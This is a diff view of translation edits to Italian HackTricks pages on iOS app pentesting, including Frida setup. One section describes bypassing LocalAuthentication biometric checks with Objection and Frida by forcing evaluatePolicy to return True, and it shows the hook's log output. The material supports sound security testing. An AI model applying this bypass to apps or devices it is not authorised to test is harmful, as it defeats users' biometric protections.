> Tuttavia, sia `LocalAuthentication.framework` che `Security.framework` presentano vulnerabilità, poiché restituiscono principalmente valori booleani senza trasmettere dati per i processi di autenticazione, rendendoli suscettibili a bypass (fare riferimento a [Don't touch me that way, di David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
### Implementazione dell'Autenticazione Locale
@ -885,13 +889,13 @@ Se `LocalAuthentication.framework` è utilizzato in un'app, l'output conterrà e
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security
```
Se `Security.framework` è utilizzato, solo il secondo verrà mostrato.
Se viene utilizzato `Security.framework`, solo il secondo verrà mostrato.
### Bypass del Framework di Autenticazione Locale
#### **Objection**
Attraverso il **Bypass Biometrics di Objection**, situato a [questa pagina GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), è disponibile una tecnica per superare il meccanismo di **LocalAuthentication**. Il nucleo di questo approccio implica l'uso di **Frida** per manipolare la funzione `evaluatePolicy`, assicurando che restituisca sempre un risultato `True`, indipendentemente dal reale successo dell'autenticazione. Questo è particolarmente utile per eludere processi di autenticazione biometrica difettosi.
Attraverso il **Bypass Biometrics di Objection**, situato [in questa pagina GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), è disponibile una tecnica per superare il meccanismo di **LocalAuthentication**. Il nucleo di questo approccio implica l'uso di **Frida** per manipolare la funzione `evaluatePolicy`, garantendo che restituisca costantemente un risultato `True`, indipendentemente dal reale successo dell'autenticazione. Questo è particolarmente utile per eludere processi di autenticazione biometrica difettosi.
Per attivare questo bypass, viene impiegato il seguente comando:
```bash
@ -902,7 +906,7 @@ Per attivare questo bypass, viene impiegato il seguente comando:
(agent) [3mhtws9x47q] Marking OS response as True instead
(agent) [3mhtws9x47q] Biometrics bypass hook complete
```
Questo comando avvia una sequenza in cui Objection registra un'attività che altera effettivamente l'esito del controllo `evaluatePolicy` a `True`.
Questo comando avvia una sequenza in cui Objection registra un'attività che altera effettivamente il risultato del controllo `evaluatePolicy` a `True`.
#### Frida
@ -988,7 +992,7 @@ ios-uiactivity-sharing.md
ios-uipasteboard.md
{{#endref}}
### Estensioni dell'App
### Estensioni App
{{#ref}}
ios-app-extensions.md
@ -1008,7 +1012,7 @@ ios-serialisation-and-encoding.md
## Comunicazione di Rete
È importante verificare che non ci sia comunicazione **senza crittografia** e anche che l'applicazione stia **validando correttamente il certificato TLS** del server.\
È importante verificare che non ci sia comunicazione **senza crittografia** e anche che l'applicazione stia correttamente **validando il certificato TLS** del server.\
Per controllare questi tipi di problemi puoi utilizzare un proxy come **Burp**:
{{#ref}}
@ -1046,7 +1050,7 @@ A questo scopo si utilizza solitamente [**JSPatch**](https://github.com/bang590/
### Terze Parti
Una sfida significativa con gli **SDK di terze parti** è la **mancanza di controllo granulare** sulle loro funzionalità. Gli sviluppatori si trovano di fronte a una scelta: integrare l'SDK e accettare tutte le sue funzionalità, comprese le potenziali vulnerabilità di sicurezza e le preoccupazioni sulla privacy, oppure rinunciare completamente ai suoi benefici. Spesso, gli sviluppatori non sono in grado di patchare le vulnerabilità all'interno di questi SDK. Inoltre, man mano che gli SDK guadagnano fiducia all'interno della comunità, alcuni potrebbero iniziare a contenere malware.
Una sfida significativa con gli **SDK di terze parti** è la **mancanza di controllo granulare** sulle loro funzionalità. Gli sviluppatori si trovano di fronte a una scelta: integrare l'SDK e accettare tutte le sue caratteristiche, comprese le potenziali vulnerabilità di sicurezza e le preoccupazioni sulla privacy, oppure rinunciare completamente ai suoi benefici. Spesso, gli sviluppatori non sono in grado di patchare le vulnerabilità all'interno di questi SDK. Inoltre, man mano che gli SDK guadagnano fiducia all'interno della comunità, alcuni potrebbero iniziare a contenere malware.
I servizi forniti dagli SDK di terze parti possono includere il tracciamento del comportamento degli utenti, la visualizzazione di pubblicità o miglioramenti dell'esperienza utente. Tuttavia, questo introduce un rischio poiché gli sviluppatori potrebbero non essere pienamente consapevoli del codice eseguito da queste librerie, portando a potenziali rischi per la privacy e la sicurezza. È fondamentale limitare le informazioni condivise con i servizi di terze parti a ciò che è necessario e garantire che nessun dato sensibile venga esposto.
@ -1058,6 +1062,7 @@ otool -L <application_path>
```
## Vulnerabilità Interessanti & Casi Studio
{{#ref}}
air-keyboard-remote-input-injection.md
{{#endref}}

15
src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md
View File

@ -1,9 +1,9 @@
# Configurazione di Frida per iOS
# iOS Frida Configuration
{{#include ../../banners/hacktricks-training.md}}
## Installazione di Frida
## Installing Frida
**Passaggi per installare Frida su un dispositivo Jailbroken:**
@ -13,16 +13,16 @@
4. Vai alla nuova sorgente Frida aggiunta.
5. Installa il pacchetto Frida.
Se stai usando **Corellium**, dovrai scaricare il rilascio di Frida da [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) (`frida-gadget-[yourversion]-ios-universal.dylib.gz`) e decomprimere e copiare nella posizione dylib richiesta da Frida, ad esempio: `/Users/[youruser]/.cache/frida/gadget-ios.dylib`
Se stai usando **Corellium** dovrai scaricare il rilascio di Frida da [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) (`frida-gadget-[yourversion]-ios-universal.dylib.gz`) e decomprimere e copiare nella posizione dylib richiesta da Frida, ad esempio: `/Users/[youruser]/.cache/frida/gadget-ios.dylib`
Dopo l'installazione, puoi usare sul tuo PC il comando **`frida-ls-devices`** e controllare che il dispositivo appaia (il tuo PC deve essere in grado di accedervi).\
Dopo l'installazione, puoi usare nel tuo PC il comando **`frida-ls-devices`** e controllare che il dispositivo appaia (il tuo PC deve essere in grado di accedervi).\
Esegui anche **`frida-ps -Uia`** per controllare i processi in esecuzione del telefono.
## Frida senza dispositivo Jailbroken e senza patchare l'app
Controlla questo post del blog su come usare Frida su dispositivi non jailbroken senza patchare l'app: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
## Installazione del Client Frida
## Frida Client Installation
Installa **frida tools**:
```bash
@ -300,7 +300,7 @@ fpicker -v --fuzzer-mode active -e attach -p <Program to fuzz> -D usb -o example
Puoi controllare la **console di macOS** o il cli **`log`** per controllare i log di macOS.\
Puoi controllare anche i log da iOS usando **`idevicesyslog`**.\
Alcuni log ometteranno informazioni aggiungendo **`<private>`**. Per mostrare tutte le informazioni è necessario installare un profilo da [https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/) per abilitare quelle informazioni private.
Alcuni log ometteranno informazioni aggiungendo **`<private>`**. Per mostrare tutte le informazioni, è necessario installare un profilo da [https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/) per abilitare quelle informazioni private.
Se non sai cosa fare:
```sh
@ -326,10 +326,11 @@ Puoi controllare i crash in:
- `~/Library/Logs/DiagnosticReports`
> [!WARNING]
> iOS memorizza solo 25 crash della stessa app, quindi devi pulire questo o iOS smetterà di creare crash.
> iOS memorizza solo 25 crash della stessa app, quindi è necessario pulirli o iOS smetterà di creare crash.
## Frida Android Tutorials
{{#ref}}
../android-app-pentesting/frida-tutorial/
{{#endref}}

Some files were not shown because too many files have changed in this diff Show More